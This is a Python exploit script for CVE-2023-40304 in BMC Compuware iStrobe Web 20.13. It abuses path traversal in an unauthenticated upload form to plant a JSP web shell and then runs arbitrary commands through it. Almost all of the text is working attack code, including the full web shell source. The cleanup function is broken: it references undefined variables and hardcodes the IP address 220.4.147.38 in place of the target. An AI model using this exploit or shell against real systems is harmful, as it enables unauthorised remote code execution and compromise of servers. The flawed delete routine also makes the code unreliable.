BMC Compuware iStrobe Web 20.13 Shell Upload

`#!/usr/bin/env python3  
  
# Exploit Title: Pre-auth RCE on Compuware iStrobe Web  
# Date: 01-08-2023  
# Exploit Author: trancap  
# Vendor Homepage: https://www.bmc.com/  
# Version: BMC Compuware iStrobe Web - 20.13  
# Tested on: zOS# CVE : CVE-2023-40304  
# To exploit this vulnerability you'll need "Guest access" enabled. The vulnerability is quite simple and impacts a web upload form, allowing a path traversal and an arbitrary file upload (.jsp files)  
# The vulnerable parameter of the form is "fileName". Using the form, one can upload a webshell (content of the webshell in the "topicText" parameter).# I contacted the vendor but he didn't consider this a vulnerability because of the Guest access needed.  
  
import requests  
import urllib.parse  
import argparse  
import sys  
  
def upload_web_shell(url):  
data = {"fileName":"../jsp/userhelp/ws.jsp","author":"Guest","name":"test","action":"open","topicText":"<%@  
page import=\"java.lang.*,java.io.*,java.util.*\" %><%Process  
p=Runtime.getRuntime().exec(request.getParameter(\"cmd\"));BufferedReader  
stdInput = new BufferedReader(new  
InputStreamReader(p.getInputStream()));BufferedReader stdError = new  
BufferedReader(new InputStreamReader(p.getErrorStream()));String  
s=\"\";while((s=stdInput.readLine()) !=  
null){out.println(s);};s=\"\";while((s=stdError.readLine()) !=  
null){out.println(s);};%>","lang":"en","type":"MODULE","status":"PUB"}  
# If encoded, the web shell will not be uploaded properly  
data = urllib.parse.urlencode(data, safe='"*<>,=()/;{}!')  
  
# Checking if web shell already uploaded  
r = requests.get(f"{url}/istrobe/jsp/userhelp/ws.jsp", verify=False)  
if r.status_code != 404:  
return  
  
r = requests.post(f"{url}/istrobe/userHelp/saveUserHelp", data=data,  
verify=False)  
  
if r.status_code == 200:  
print(f"[+] Successfully uploaded web shell, it should be  
accessible at {url}/istrobe/jsp/userhelp/ws.jsp")  
else:  
sys.exit("[-] Something went wrong while uploading the web shell")  
  
def delete_web_shell(url):  
paramsPost = {"fileName":"../jsp/userhelp/ws.jsp","author":"Guest","name":"test","action":"delete","lang":"en","type":"MODULE","status":"PUB"}  
response = session.post("http://220.4.147.38:6301/istrobe/userHelp/deleteUserHelp",  
data=paramsPost, headers=headers, cookies=cookies)  
  
if r.status_code == 200:  
print(f"[+] Successfully deleted web shell")  
else:  
sys.exit("[-] Something went wrong while deleting the web shell")  
  
def run_cmd(url, cmd):  
data = f"cmd={cmd}"  
r = requests.post(f"{url}/istrobe/jsp/userhelp/ws.jsp", data=data,  
verify=False)  
  
if r.status_code == 200:  
print(r.text)  
else:  
sys.exit(f'[-] Something went wrong while executing "{cmd}" command')  
  
parser = argparse.ArgumentParser(prog='exploit_cve_2023_40304.py', description='CVE-2023-40304 - Pre-auth file upload vulnerability + path traversal to achieve RCE')  
parser.add_argument('url', help='Vulnerable URL to target. Must be like http(s)://vuln.target')  
parser.add_argument('-c', '--cmd', help='Command to execute on the remote host (Defaults to "whoami")', default='whoami')  
parser.add_argument('--rm', help='Deletes the uploaded web shell', action='store_true')  
args = parser.parse_args()  
  
upload_web_shell(args.url)  
run_cmd(args.url, args.cmd)  
  
if args.rm:  
delete_web_shell(args.url)  
  
  
  
`